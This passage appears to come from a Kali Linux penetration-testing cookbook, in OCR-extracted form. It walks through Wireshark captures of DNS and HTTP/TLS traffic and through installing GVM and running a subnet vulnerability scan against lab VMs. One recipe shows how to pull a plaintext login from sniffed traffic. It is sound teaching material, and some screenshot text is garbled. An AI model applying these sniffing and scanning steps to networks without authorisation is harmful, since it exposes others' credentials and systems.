714 163.077037097 103.157.187.167 192.168.1.33 DNS 252 standard query response ©x2fba A assets.msn.com CNAME
786 197.177954175 192.168. 103.157.187.167 DNS 75 standard query 0xfi4b A www.youtube.com

787 197.178267279 192.168. 103.157.187.167 DNS 75 Standard query 0xS5b4c AAAA www.youtube.com

793 197.185371672 183.157.
185371963

DNS 368 Standard query response ©xfldb A www.youtube.com CNAN
DNS 224 standard query response ©x5bdc AAAA www.youtube.com C

Standard query
andard query .
DNS 75 standard query @xazbf HTTPS www.youtube.com

856 239.840421858 192.168.
857 239.840422399 192.168.

858 239.855803140 8.8.8.8 DNS 365 standard query response 0xb21ld A www.youtube.com CNAM
859 239.855803821 8.8.8.8 DNS 124 standard query response ©x42bf HTTPS www.youtube.com
923 246.911834598 192.168. DNS 91 Sstandard query 0x03fb A signaler-pa.clients6.google.c
924 246.911834889 192.168. DNS 91 Standard query 0x7e58 HTTPS signaler-pa.clientsé.gooc
925 246.917976138 8.8.8.8 DNS 107 Standard guery response @x03fb A sianaler-pa.clientst

Figure 5.30 - Standard query response

3. Once open, scroll down and expand Domain Name System (response), Queries, and

Answers.

~ Domain Name System (response)
Ir 11U DDY
standard query response, No error

Ans
Authorlt'

ets.msn.com:

Name: assets.msn.

[Name Length: 14]

[Label Count: 3]
A (1) (Host Addres
: 8 )

o type CNAME, s IN, as )m-w;'1d-atm-default‘traffi
-msn-com-wor ld-atm- dequLt traffl:manager‘ Tty CNAME, class IN,
om-ion.edgesuite.net: type CNAME, N ame al666.ds mai.net
cr.akamai.net: type A, ¢ IN, addr .230.151.21
akamai.net: type A, ¢ IN, addr

[Time: ©. 57 seconds]

Figure 5.31 - DNS expand packet details

From the output, you can see what was queried (in this example, assets.msn.com) and
the responses. In this example, you will see nested CNAME entries ultimately resolving

to a list of valid IP addresses.
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Wireshark - Packet 847 - eth0

fault.traf
IN a ion.edgesuite.net

.trafficmanager CNAME, c
. type CNAME, m

n-com
73 2d 6d H_ 5 a ssets-ms
61 74 6d n-com-wo rld-atm-

default. trafficm

anager-n et- ,

Figure 5.32 - DNS query and answer

4. Youmay now close the packet capture and Wireshark.

How it works...

In earlier recipes, we demonstrated how to gather intel on DNS by actively querying DNS servers.
While this can be done both inside and outside a network, listening for and capturing the data
as shown in this recipe might be more beneficial. The internet was built on many insecure proto-
cols that had security added to them as an afterthought. However, much of it still runs without
security. There is a wealth of data to collect by passively listening to network traffic, especially

in ways that don’t attract attention.

See also...

More information on UDP packet analysis can be found at https://wiki.wireshark.org/User_

Datagram_Protocol.

Analyzing web applications

Web traffic often holds the keys to potential vulnerabilities, from insecure login forms to reveal-
ing server banners. This recipe highlights how to capture and analyze HTTP and HTTPS streams
within Wireshark. By learning these skills, you will be more capable of identifying vulnerabilities

in web applications and collecting the information needed to facilitate an exploit.


https://wiki.wireshark.org/User_Datagram_Protocol
https://wiki.wireshark.org/User_Datagram_Protocol
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Getting ready
You need the following to complete this recipe:
e TheKali VM up and operational

e  BeeBoxup and running

e  The Wireshark interface up and running

How to do it...
1. Ensure the BeeBox VM is up and running and obtain the VM’s IP address.

2. Inthe Wireshark capture field, enter the ip and (port 80 or port 8443) capture filter

and double-click on the interface connected to the VM network (for me, it is eth1).

Welcome to Wireshark

...using this filter: E ip and (port 80 or port 8443)|

ethO
ethl

any
Loopback: lo
bluetooth-monitor

nflog

nfqueue

dbus-system

dbus-session
@ Cisco remote capture: ciscodump
@ DisplayPort AUX channel monitor capture: dpauxmon
@ Random packet generator: randpkt

Figure 5.33 - Capture web traffic

3. Youwilllikely see a few packets being captured, assuming you are on the correct network.
From here, open Firefox and browse to the IP address of the BeeBox VM (for my network,
http://192.168.92.7). You should see packets populating your capture as soon as you

initiate the connection.


http://192.168.56.108
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.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODA® e @BE@ a ¢« »n «>»EE oo o @

Source Protocol _Length Info
858112515 1 .0.0. 367 Standard query response 0x8000 SRV, cache flush 0 © 7680 DESKTOP-7
858698989 fe80::4ecd 5 b 387 Standard query response ©x8000 SRV, cache flush @ © 7680 DESKTOP-7
672078575 192.168 66 [TCP Keep-Alive] 38152 — 80 [ACK] Seq=1077 Ack=24473 Win=86016 Len
672744798 192.168
5991720856 192.168
599478901 192.168
600102271 192.168
965935050 192.168
966833532 192.168
.966862971 192.168.
.967402624 192.168.
968004164 192.168
995379884 192.168
995551640 192.168
000952018 192.168
005017374 192.168
005065948 192.168
006941095 192
051502973 192.168.92
.704730908 fe80: :decd: 86!
704731500 192.168.56

B  ® bWAPP - Login +
& C @ O @a 192168.92.7/

8 Import bookmarks... " OffSec  KaliLinux & Kali Tos

NONWNNOONNDNWN®®N

on ex-l'remelx/ lougﬁy web app I

Frame 1: 82 bytes on wire (656 o r on interface e

Ethernet II, Src: PCSSystemt 89 (e 89 IPvan i

Internet Protocol Version 4, Sr
tocol, Src P
ame System

—fb New User  info  Toks & Trainng  Blog

74 I.oain /

Enter your credentials (bee/bug)

Login

Set the security level

Figure 5.34 - Browse to BeeBox

4. Log in to the page with the username bee and the password bug. Once logged in, you
may log out.

5. From within Firefox, browse to the secure page of BeeBox (in my example,
https://192.168.56.108:8443). Once you initiate this connection, you will see the
packets displayed in Wireshark change color. You may need to accept a security warning

in Firefox.

&

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADAG® R BB @ ¢« >»n <« >EEoon@E

Protocol _Length

803443002 7 3 Application Data
1193 496.804130384 192.168.92.3 7 36188 — 8443 [ACK] Seq=3682 Ack=363190 Win=83968 Len=0 TSval=287863!
1194 496.804776219 192.168.92.7 192.168.92.3 TLSv1.2 6350 Application Data
1195 496.804776399 192.168.92.7 192.168.92.3 TCP 2962 8443
1196 496.804776480 192.168.92.7 192.168.92.3 TCcp 13098 400 The plain HTTP request X & bWAPP - Login X +
1197 496.804834487 192.168.92.3 192.168.92.7 TCcp 66
1198 496.804929110 192.168.92.3 192.168.92.7 TCcp ~ = . .
1199 496.807262217 192.168.92.7 192.168.92.3 TLSV1.2 €« C @ O G192 i
1200 496.807262398 192.168.92.7 192.168.92.3 TCP
1201 496.807285001 192.168.92.3 192.168.92.7 Tcp -8 Import bookmarks OffSec  KaliLinux # KaliTools  KaliDocs
1202 496.808159986 192.168.92.7 192.168.92.3 TCcp
1203 496.808160237 192.168.92.7 192.168.92.3 TCP
1204 496.808229891 192.168.92.3 192.168.92.7 TCcp @
1205 496808360310 192.168.92.3 192.168.92.7 TCcp
1206 496.808668236 192.168.92.7 192.168.92.3 TCcp
1207 496.811433964 192.168.92.7 192.168.92.3 TLSV1.2
1208 496.811478379 192.168.92.3 192.168.92.7 cp
1209 496.829059651 192 3 7
1210 496.830772182 192 7 3
1211 496.874267022 192 3 7

Frame 1: 82 by

Ethernet IT,

Internet P
Datagram Pl
icast Domain

New User inFo Training Blog

/ Logn /

Figure 5.35 - Browse to BeeBox on port 8443


https://192.168.56.108:8443
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Tip
If you have not noticed, the color coding of packets in Wireshark can be

changed to suit individual needs or tastes. However, the default color cod-

g ing highlights TCP traffic in green, UDP traffic in blue, and potential issues
such as malformed packets or retransmissions in black or red, helping users

quickly spot relevant packets.

6. Log in to the portal using the same username and password. Once logged in, you may
log out and close Firefox.

7.  Stop the capture by selecting the red stop button at the top.

8. Scroll through the capture and find the packet with the POST /BWAPP/login.php info
descriptor. From there, expand the HTML form in the box in the lower left. You will see

the username and password you used to log in.

< Capturing from eth

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® s BERB « « »n «>BES ool

Source Destination Protocol Lengtt Info

290 106.244045.. .7 66 33998 . 80 [ACK] Seq=1359 Ack=1541
291 107.462360.. .2 342 DHCP Request - Transaction ID ©x5
292 107.46708 .7 590 DHCP ACK - Transaction ID 0x5
293 110. .7 679 POST /bWAPP/login.php HTTP/1.1 (4
294 110.77127 7 .3 HTTP 681 HTTP/1.1 302 Found

295 110.771344.. 192.168.92.3 192.168.92.7 TCP 66 33988 — 80 [ACK] Seq=3789 Ack=4225
296 110.813829.. 192.168.92.3 192.168.92.7 HTTP 530 GET /bWAPP/portal.php HTTP/1.1

297 110.816769.. 192.168.92.7 192.168.92.3 TCP 4410 80 — 33988 [ACK] Seq=422539 Ack=42
298 110.816835.. 192.168.92.3 192.168.92.7 TCP 66 33988 — 80 [ACK] Seq=4253 Ack=4268
299 110.819259.. 192.168.92.7 192.168.92.3 TCP 4237 80 — 33988 [PSH, ACK] Seq=426883 A
300 110.819259.. 192.168.92.7 192.168.92.3 TCP 1514 80 . 33988 [ACK] Seq=431054 Ack=42
301 110.819279.. 192.168.92.3 192.168.92.7 TCP 66 33988 — 80 [ACK] Seq=4253 Ack=4310
302 110.819355.. 192.168.92.3 192.168.92.7 TCP 66 33988 — 80 [ACK] Seq=4253 Ack=4325
303 110.821340.. 192.168.92.7 192.168.92.3 TCP 8754 80 . 33988 [ACK] Seq=432502 Ack=42
304 110.821357.. 192.168.92.3 192.168.92.7 TCP 66 33988 — 80 [ACK] Seq=4253 Ack=4411
305 110.823081.. 192.168.92.7 192.168.92.3 HTTP 5271 HTTP/1.1 200 OK (text/html)

Frame 293: 679 bytes on wire (5432 bits), 679 bytes captured (5432 bits) on interface

Ethernet II, Src: PCSSystemtec_14:7b:e9 (08:00:27:14:7b:e9), Dst: PCSSystemtec_00:08:8

Internet Protocol Version 4, Src: 192.168.92.3, Dst: 192.168.92.7

Transmission Control Protocol, Src P : 33988, Dst Port: 80, Seq: 3176, Ack: 421924,
T

www - form-urlencoded

» Form ogin" =

» Form i assword" = "bug"

» Form i ecurity_level" = "@"
» Form item: "form" = "submit"

Figure 5.36 - Capture BeeBox HTML
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Tip
|
—\@,— While many things have moved to secure means using TLS, you will occa-
4 AN
g sionally find unencrypted HTTP traffic on internal networks. You only need

one legacy application to catch someone’s credentials.

9. Scroll further down, look for the Server Hello, Certificate... packet, and double-click it

to bring up the packet decoder screen.

. Capturing from eth1

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODA® R BER@B 2 ¢« > 1 «>»E= oo of#
[] filt :

No. Time Source Destination Protocol Lengtt Info
368 199.446809.. 192.168.92. 192.168.92. TCP 74 443 _ 44534 [SYN, ACK] Seq=0 Ack=1 Win=5792 Le
369 199.446886.. 192.168.92 192.168.92. TCP 66 44534 _ 443 [ACK] Seq=1 Ack=1 Win=64512 Len=0
370 199.447457.. 192.168.92 192.168.92. TLSv1 709 Client Hello
371 199. 192.168.92. 192.168.92. TCP 66 443 . 44534 [ACK Ack=644 Win=7104 Len=0
372 199. 192.168.92. 192.168.92. TLSv1 813 Server Hello, Certificate, Server Hello Done
373 199. 192.168.92 192.168.92 TCP e
374 199. 192.168.92 192.168.92 TLSv1 73 Alert (Level: Fatal, Description: Protocol Ver
375 199.4 192.168.92. 192.168.92. TCP 66 44534 _ 443 [RST, ACK] Seq=651 Ack=748 Win=645|
376 199. 192.168.92. 192.168.92. TCP 66 443 . 44534 [FIN, ACK] Seq=748 Ack=651 Win=710
377 199. 192.168.92. 192.168.92 TCP 54 44534 . 443 [RST] Seq=651 Win=0 Len=0

= oo (AR ~ ENEARAIE

S ] o PR

w

378 204. PCSSystemtec_14.. PCSSystemtec_00.. ARP 42 who has 192.168.92.7? Tell 192.168.92.3

379 204.542324.. PCSSystemtec_00.. PCSSystemtec_14.. ARP 60 192.168.92.7 is at 08:00:27:00:08:89

380 210.541682.. 192.168.92.3 192.168.92.7 TCP 74 57024 . 443 [SYN] Seq=0 Win=64240 Len=0 MSS=14
381 210.542706.. 192.168.92.7 192.168.92.3 TCP 74 443 . 57024 [SYN, ACK] Seq=0 Ack=1 Win=5792 Le
382 210.542775.. 192.168.92.3 192.168.92.7 TCP 66 57024 . 443 [ACK] Seq=1 Ack=1 Win=64512 Len=0
383 210.544496.. 192.168.92.3 192.168.92.7 TLSvl 1942 Client Hello

Figure 5.37 - Packet - Server Hello

10. Scroll through the packet decoding and open up the certificate information. You will note
that it provides significant detail regarding the organization.

Wireshark - Packet 372 - eth1

Handshake Type: Certificate (11)
Length: 671
certificates Length: 668
- Certificates (668 bytes)
Certificate Length: 65
~ Certificate [..]: 30820295308201fe020900d8bd254ab15c9f5b300d06092a864886F70d010105050030818e310b3009(
~ signedCertificate
serialNumber: 6x00d8bd254ab15c9f5h
» signature (shalwithRSAEncryption)
~ issuer: rdnSequence (@)
] rdnsequence: 7 items (pkcs-9-at-emailAddress=bwapp@itsecgames.com,id-at-commonName=bee-box
RDNSequence item: item (id-at-countryName=BE)
RDNSequence item: item (id-at-stateOrProvinceName=Flanders)
RDNSequence item: 1 item (id-at-localityName=Menen)
RDNSequence i 8 item (id-at-organizationName=MME)
RDNSequence i : 1 item (id-at-organizationalUnitName=IT)

+ DDAl i i (id ma=ha.
RN 3 = Hd me=bs

Figure 5.38 - Packet - certificate information
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and double-click on it to open the decoder.

11. Once you exit out of the packet decoding, look for a packet named Change Cipher Spec

o Capturing from ethl

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
ADA® s BRRB 2 « >»n <« >EE oo o g
N Apply a display filter ... <Ctrl-

Time

Source Destination Protocol Lengtt Info

W7 .3 TLSv1 813 Sserver Hello, Certificate, Server Hello Done
.3 Bz TCP 66 57066 — 443 [ACK] Seq=644 Ack=748 Win=64512 Len=0 TS
.3 7 TLSv1 73 Alert (Level: Fatal, Description: Protocol Version)
419 212.571272... .3 N 66 57066 . 443 [RST, ACK] S 51 Ack=748 Win=64512 Len|
420 232.237428... .3 N 74 55170 . 8443 [SYN] Seq=0 W: 4240 Len=0 MSS=1460 SA
421 232.238227.. 192.168.92.7 192.168.92.3 74 8443 - 55170 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 M
422 232.238251.. 192.168.92.3 192.168.92.7 TCP 66 55170 — 8443 [ACK] Seq=1 Ack=1 Win=64512 Len=0 TsSval
423 232.239726.. 192.168.92.3 192.168.92.7 TLSv1.. 2162 Client Hello
424 232.240701.. 192.168.92.7 192.168.92.3 TCP 66 8443 . 55170 [ACK] Seq=1 Ack=1449 Win=8704 Len=0 TSv
425 232.240701.. 192.168.92.7 192.168.92.3 TCP 66 8443 _. 55170 [ACK] Ack=2037 Win=11584 Len=0 TS
426 232.243015.. 192.168.92.7 192.168.92.3 203 Server Hello, Change Cipher Spec, Encrypted Handshak
427 232.243080.. 192.168.92.3 192.168.92.7 66 55170 . 8443 [ACK] Seq=2037 Ack=138 Win=64512 Len=0
428 232.243439... .3 7
429 232.244146.. 192.168.92.3 i az 621 Application Data
430 232.246421.. 192.168.92.7 fI92 .3 TCP 66 8443 . 55170 [ACK] Seq=138 Ack=2643 Win=14528 Len=0
o7 .3 2962 8443 . 55170 [ACK] Seq=138 Ack=2643 Win=14528 Len=28

431 232.249424..

Figure 5.39 - Packet - Change Cipher

12. Scroll down and you will see the negotiation of the TLS version.

Wireshark - Packet 42}

» Frame 428: 117 bytes on wire (936 bits), 117 bytes captured (936 bits) on interface ett
» Ethernet II, Src: PCSSystemtec_14:7b:e9 (08:00:27:14:7b:e9), Dst: PCSSystemtec_00:08:89
» Internet Protocol Version 4, Src: 192.168.92.3, Dst: 192.168.92.7
» Transmission Control Protocol, Src Port: 55170, Dst Port: 8443, Seq: 2037, Ack: 138, L
- Transport Layer Security
-~ TLSvl.2 Record Layer: Change Cipher Spec Protoc
Content Type: Change Cipher Spec (20)
Version: TLS 1.2 (0x@303)
Length: 1
Change Cipher Spec Message
~ TLSv1l.2 Record Layer: Handshake Protocol: Encrypted Handshake Message
Content Type: Handshake (22)
Version: TLS 1.2 (0x@303)
Length: 40
Handshake Protocol: Encrypted Handshake Message

Change Cipher Spec

7b
co
b5
ab
@3
08
f2

Figure 5.40 - Decode TLS
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Tip
A common tactic in downgrade attacks is the stripping or modification of
protocol negotiation messages by a man-in-the-middle, attempting to force
-()- the connection to use a weaker or less secure protocol or cipher suite thatis
g easier to exploit. This typically involves intercepting the handshake between
devices and forcing both parties to agree on an older, weaker encryption
protocol. Once the connection is downgraded, the attacker can more easily

decrypt, manipulate, or observe the traffic.

13. You may now close the decoder and close Wireshark.

How it works...

Wireshark’s HTTP and TLS analysis breaks down each layer of communication. For HTTP, Wire-
shark reads plain text headers, methods (such as GET or POST), and response codes, making it sim-
ple to spot vulnerabilities or sensitive data in transmissions. When encrypted with TLS, Wireshark
interprets the handshake process and key exchange details; however, the decryption of packet
contents usually requires access to private keys or session keys. This layered approach reveals

whether data is transmitted securely or susceptible to interception.

See also...

More information on HTTP and TLS packet analysis can be found at the following sites:

e https://www.wireshark.org/docs/wsug_html_chunked/ChStatHTTP.html
e https://wiki.wireshark.org/TLS

Importing PCAP files

Wireshark allows you to import . pcap files to analyze previously captured traffic. Whether you’ve
collected packet data through another tool, received captures from a third party, or saved your
Wireshark sessions for later examination, knowing how to open these files efficiently gives you a
convenient starting point for in-depth analysis. In this recipe, we’ll walk you through the process

of importing . pcap files into Wireshark.


https://www.wireshark.org/docs/wsug_html_chunked/ChStatHTTP.html
https://wiki.wireshark.org/TLS

https://www.wireshark.org/docs/wsug_html_chunked/ChStatHTTP.html
https://wiki.wireshark.org/TLS
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Getting ready

You need the following to complete this recipe:

e TheKali VM up and operational

e The Wireshark interface up and running

How to do it...

1. From theKaliinterface, open the Firefox browser and navigate to https://wiki.wireshark.

org/SampleCaptures#network-time-protocol.

2. Download the NTP_sync.pcap file.

Network Time Protocol

O NTP C (4KB, showing the
Contributor: Geraid Combs
Description: After reading about the round robin DNS records set up by the folks at

], | decided to use their service to sync my laptop's clock. The attached file

et time /setsntp:us.pool.ntp.or
net stoj ime
et start w32time

at the command prompt. Something to note is that each pool.ntp.org DNS record
contains multiple addresses. The Windows time client appears to query all of them.

o NTP.cap (Microsoft Network Monitor) 2 Packets containing a
hronisation to the Microsoft NTP server.

Figure 5.41 - Download .pcap file

3. Close the Firefox browser.

4. Inthe Wireshark main interface, select File | Open, then browse to your download folder

and choose the NTP_sync.pcap file.


https://wiki.wireshark.org/SampleCaptures#network-time-protocol
https://wiki.wireshark.org/SampleCaptures#network-time-protocol
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Your window will open with all packet and payload information present.

NTP_sync.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AOA® s BE@ 2« >0 «>BE ooo@
e —

Source Destination Protocol Length Info
. 000000 192.168.50. 192.168.0.1 DNS Standard query 0x002b |
.806946 : s 192.168.50.50 Standard query respons
.016303 . .50. 67.129.68.9 NTP Version 3, symmetr
.016634 . .50. 69.44.57.60 NTP Version 3, symmetr
.017088 5 .50. 207.234.209.181 NTP Version 3, symmetr
.017483 . .50. 209.132.176.4 NTP Version 3, symmetr
.017905 5 .50. 216.27.185.42 NTP Version 3, symmetr
.018303 . .50. 24.34.79.42 NTP Version 3, symmetr
.018785 5 .50. 24.123.202.230 NTP Version 3, symmetr
.019231 . .50. 63.164.62.249 NTP Version 3, symmetr
.019953 . .50. .112.189.11 NTP Version 3, symmetr

'

'

'

'

'

'

o~ g s w N

.020601 . .58. -125.233.2086 NTP Version symmetr|
.021393 . .50. .33.206.5 NTP Version symmetr|
.022194 . .58. -33.216.11 NTP Version symmetr|
.022803 . .50. .92.68.246 NTP Version symmetr|
.023550 . .58. .111.46.200 NTP Version symmetr|
.024243 . .50. .115.136.4 NTP Version symmetr|

3
3
3
3
3
3
3
3
3
3
3
3
3
3

Frame 1:
Ethernet II, Sr
Internet Proto

® E NTP_syncpcap Packets: 32 Profile: Default

Figure 5.42 - Open .pcap file in Wireshark

5. Scroll and look at some packet decodings.

6. Attimes, you may need to export your capture to a different format to use in another tool
to analyze the capture. Select File | Export Specified Packets. A new dialog box will open;
at the bottom, select Export as.

Wireshark - Export Specified Packets

Lookin: J/home/kali/Downloads

I Computer Name ™ Size Type Date Modified
Kali B NTP_sync.pcap 3.76 KiB Pac...AP) 10/29/...:59 AM

i}

X Cancel

File name:

Exportas: Wireshark/tcpdump/... - pcap T Qi Help

Packet Range Compression options

Captured ® Displayed * Uncompressed

Figure 5.43 - Wireshark Export as
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Tip

This process is the same if you captured the packets and wanted to export

them to a specific format.

7. Scroll through and look at the various formats.

Wireshark - Export Specified Packets

Lookin: J/home/kali/Downloads

L. Computer Name ~ Size Type Date Modified
Kali B NTP_sync.pcap 3.76 KiB Pac...AP) 10/29/...:59 AM

Wireshark/tcpdump/... - pcap

Wireshark/... - pcapng

Endace ERF capture

File name: HP-UX nettl trace [}
InfoVista SView capture % Cancel

Exportas: K12 text file O Help

Packet Ran Microsoft NetMon 1.x
Microsoft NetMon 2.x
Modified tcpdump - pcap

® All pac NetXray, Sniffer (Windows) 1.1
Select Nokia tcpdump - pcap

Novell LANalyzer
RedHat 6.1 tcpdump - pcap
Sniffer (DOS)
Sniffer (Windows) 2.00x
SuSE 6.3 tcpdump - pcap
Sun snoop
TamoSoft CommView NCF
TamoSoft CommView NCFX
Viavi Observer
Visual Networks traffic capture

Wireshark/tcpdump/... - nanosecond pcap

Figure 5.44 - Export formats
Tip

.pcap is the traditional file format for storing packet capture data, primarily

\ 7/
@ containing the raw packets along with basic timestamp and length informa-

tion. . pcapng allows storing info on multiple interfaces with per-interface

metadata, packet comments, and enhanced timestamp precision.
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8. Select the pcapng format, provide a name for the file, and select Save.

File name: |ntp_time sync [save

* Cancel

Exportas: Wireshark/... - pcapng T i Help

Packet Range Compression options

Figure 5.45 - pcapng export

9. Youmay now close the Wireshark interface.

How it works...

PCAP, or packet capture, files are commonly used for storing raw network traffic, making them
essential for security analysis, troubleshooting, and forensic studies. When you load a PCAP file
into Wireshark, you import a snapshot of network packets. Often, you will capture traffic from
devices you have exploited as part of your penetration test. Wireshark decodes these packets
and allows you to apply filters, examine statistics, or investigate anomalies. This import process

enables a thorough review of captured traffic.

See also...

More information about working with . pcap files or other formats can be found at https: //www.

wireshark.org/docs/wsug_html_chunked/ChIOOpenSection.html.

Get This Book's PDF Version and
Exclusive Exiras E
| ™

Scan the QR code (or go to packtpub.com/unlock). Search for this

book by name, confirm the edition, and then follow the steps on

the page.

Note: Keep your invoice handy. Purchases made directly from Packt

don’t require one.



https://www.wireshark.org/docs/wsug_html_chunked/ChIOOpenSection.html
https://www.wireshark.org/docs/wsug_html_chunked/ChIOOpenSection.html

Weaknesses Exposed:
Advanced Vulnerability Analysis

In this chapter, we will dive into advanced vulnerability analysis by focusing on two scanning
solutions: Greenbone Vulnerability Management (GVM), formerly OpenVAS, and Nessus. We
begin by walking you through the initial setup procedures. From there, we’ll guide you through
basic scanning techniques—ideal for quickly identifying common security flaws—before pro-

gressing to more advanced, targeted scans that reveal hidden or deeply embedded threats in the

target systems.

You'll first explore GVM, an open source framework recognized for its adaptability and robust
scanning features. After that, you’ll discover Nessus, known for its user interface and plugin
library. By using these tools, you’ll gain a view of modern vulnerability scanning practices and

learn how to tailor scans to suit your objectives.
The following recipes will be covered in this chapter:

e  Setting up Greenbone Vulnerability Management (GVM)
e  Performing a subnet vulnerability scan with GVM

e Executing a targeted vulnerability scan with GVM

e  Setting up Nessus

e  Conducting a basic vulnerability scan with Nessus

e  Executing an advanced and targeted vulnerability scan with Nessus
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Technical requirements

All of the recipes in this chapter can be conducted within the VirtualBox environment and orig-

inate from the Kali VM.

Setting up Greenbone Vulnerability Manager (GVYM)

In this recipe, we will walk you through the core components required for installing and con-
figuring GVM on Kali Linux. From the initial database updates to creating administrative user
accounts, we’ll cover each detail to ensure your GVM deployment is secure and ready for robust
scanning. By the end of this setup, you will have the foundation to identify, classify, and address

threats in the network.

In 2008, Greenbone became the primary contributor to OpenVAS, ultimately transforming itinto
a commercial product while maintaining a robust community edition. Some confusion may arise
throughout the instructions, interface, and documentation due to the substantial incorporation
of their branding into the product. To clarify, we are using the community edition of OpenVAS

(GVM) that Greenbone supports as part of its commercial offering.

Getting ready

You need the following to complete this recipe:

e TheKali VM up and operational

How to do it...
1. From the Kali interface, open a terminal window.

2. Let’sensureKaliLinux is entirely up to date in preparation for the GVM installation. Enter

the following and provide your password if requested:

sudo apt update && sudo apt full-upgrade -y

3. Once the update is complete, reboot by entering the following and providing your pass-

word if requested:

sudo shutdown -r now
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4. Once the system boots, log back in and open a terminal window.

5.  From the terminal window, install GVM by entering the following command and providing

your password if requested:

sudo apt install gvm -y

| Tip

N\ 7/

/@\ You can substitute gvm for openvas in the preceding command and it will

still install GVM, as openvas is an alias for gvm.

6. To begin the setup process, enter the following:

sudo gvm-setup

7. Ifyoureceive an error like the one in Figure 6.1, a few steps must be taken to correct it. If

you have not received this error, move to step 18.

(kali@kali)[~]
$ sudo gvm-setup

[>] Starting PostgreSQL service

ERROR: The default PostgreSQL version (16) is not 17 that is required by libgvmd
ERROR: libgvmd needs PostgreSQL 17 to use the port 5432
ERROR: Use pg_upgradecluster to update your PostgreSQL cluster

Figure 6.1 - GVM setup error

The error indicates that you probably have two or more versions of PostgreSQL installed.
GVM wants to use PostgreSQL version 17; however, it recognizes version 16 as the one on
port 5432.

| Ti
B

= Your version numbers may differ based on release timings.

8. Enter the following command and provide your password if requested:

sudo nano /etc/postgresql/17/main/postgresql.conf
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9. Scroll and look for port = and record the number (5433).

kali@kali: ~

Session Actions Edit View

/etc/postgresql/17/main/postgresql.conf *

(change requires restart)
(change requires restart)

nections = 100

t = =f & 4 = o

unix_socket_directories = '/var/run/postgresql’ # comma-separated list of directories

Figure 6.2 - PostgreSQL port 5433

10. Change the port number to 5432.

kali@kali: ~

Session Actions Edit View Help
GNU nano 8.6 /etc/postgresql/17/main/postgresql.conf *

(change requires restart)
{Citange requires restart)

Bort = 5432

iax_coreciions = 1

#
i

unix_socket_directories = '/var/run/postgresql’' # comma-separated list of directories

Figure 6.3 - PostgreSQL port 5432

11. Press Ctrl + X and Y to save and exit.
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12.

13.
14.
15.

16.
17.

18.

19.

Now, we must change the older version of PostgreSQL to the other port number. Enter

the following command and acknowledge your password if requested:

sudo nano /etc/postgresql/16/main/postgresql.conf

Look for port = 5432 and change it to the one recorded earlier (5433).
Press Ctrl + X and Y to save and exit.

Reboot the system by entering the following, providing your password if required:

sudo shutdown -r now

When the system is back up, log back in and relaunch the terminal window.

To begin the setup process again, enter the following:

sudo gvm-setup

As the setup processes run, please pay special attention to the output; it will provide you

with a generated password for the admin user. Record this password.

ension pg-gvm

-44ba-a2e9-bb7efbb39809".

Figure 6.4 - GVM password

Tip

This process will take some time—please be patient as it downloads the

feeds and updates.

Once complete, check the setup by entering the following, providing your password if

required:

sudo gvm-check-setup
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20. Look for the message stating that your installation is OK.

Tip
Your services should already be up and running, but there are a couple of

\ commands that you will need to be familiar with the following:

\ 7/
'@\ e sudo gvm-start: Start the services (will auto-launch your web
browser)
e sudo gvm-stop: Stop the services

e sudo greenbone-feed-sync: Download the feeds and update

21. To access the web interface, gotohttps://127.0.0.1:9392. You may receive a certificate
Accept the Risk and Continue.

error. If you do, click Advanced...

é Greenbone

Sign in to your account

Username

Password

Password

Figure 6.5 - GVM web interface

22. Login with the username admin and the password you provided earlier.

23. Youmightnotwantto enter along password and would prefer something else. Close the

web browser and open the terminal window. To change the admin password, enter the

following, substituting XXXXX with your preferred password:

sudo -u _gvm gvmd --user-admin --new-password=XXXXX



https://127.0.0.1:9392
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How it works...

In this recipe, you went through installing GVM, correcting any conflicts with PostgreSQL, updat-

ing feeds, changing the admin password, and, finally, starting the system and logging in.

See also...

More information on installing GVM in Kali can be found at the following website: https://
greenbone.github.io/docs/latest/22.4/kali/index.html.

Performing a subnet vulnerability scan with GVM

In this recipe, you’ll learn how to select a target, configure essential scanning parameters, and
interpret the high-level results that GVM generates. Learning the fundamentals will prepare you

for more advanced configurations and deeper dives into your target network.

Getting ready

You need the following to complete this recipe:

e  TheKali up and operational
e Asmany target machines started as possible
e  GVM services started

e  GM web interface logged into

How to do it...

1.  Wemustdefine our subnet as a scan target. From the web interface, select Configuration

| Targets from the menu at the top and then click on the new icon.

|.li  Dashboards

© scans ’ @Targets 0of O

=
[ Assets b

N . No targets available
Resilience > 9

— Security
= Information

ﬁ Configuration v

Figure 6.6 - Configuration | Targets


https://greenbone.github.io/docs/latest/22.4/kali/index.html
https://greenbone.github.io/docs/latest/22.4/kali/index.html
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\ Tip

\ 7/

_/@\_ Please note that this scan will take a very long time (hours). It might be best

to start it at the end of the day and return to it in the morning.

2. IntheNew Targetdialog, choose a descriptive name, and in the Hosts | Manual field, add
the subnet of your VM network (mine is 192.168.92.0/24). Then, select Save.

New Target X

Name

Target1|

Comment

Hosts
© Manual | 192.168.92.0/24

From file

Exclude Hosts

o Manual

From file

Allow simultaneous scanning via multiple 1Ps

QO Yes No
Port List

All JANA assigned TCP +
Alive Test

Scan Config Default s

i

Figure 6.7 - New Target
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3. Next, we will create a new scan task. From the menu, select Scans | Task and select the

[l Dashboards ®

©] scans Y I /Tasks00f0

Reports

new icon.

Tasks by Severit

Figure 6.8 - GVM new scan task

4. Inthe New Task dialog box, provide a name for the scan target and select the previously
created target from the Scan Targets dropdown. For Schedule, select Once and then

click Save.

New Task X

Name

192.168.92.0/24 Network

Comment

Scan Targets

Target1 " 3
Alerts
¢ o
Schedule

Add results to Assets

O ves No
Apply Overrides
O ves No
Min QoD

70

. Cancel . |

Figure 6.9 - Initial subnet scan
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5. You will now see your new task on the screen with a New status, highlighted in green.
Click the play icon on the bottom right to start the scan.

) £ < 1-10f1 > 3l
Name ™ Status T Reports T R::::rt Tl Severity 1| Trend T} Actions
192.168.92.0/24

[ tew ] <
Network Ell) N2 SRS

Apply to page contents D Wwa

(Applied filter: apply_overrides=0 min_qod=70 sort=name first=1 rows=101

£ € 1-10f1 > 3

Figure 6.10 - GVM start scan

The status will change to Queued, highlighted in orange.

At this point, the scan has started. This scan may take several hours to complete, so be
patient.

6. Inthemiddle of the screen, to the right of the new scan, under the column named Reports,
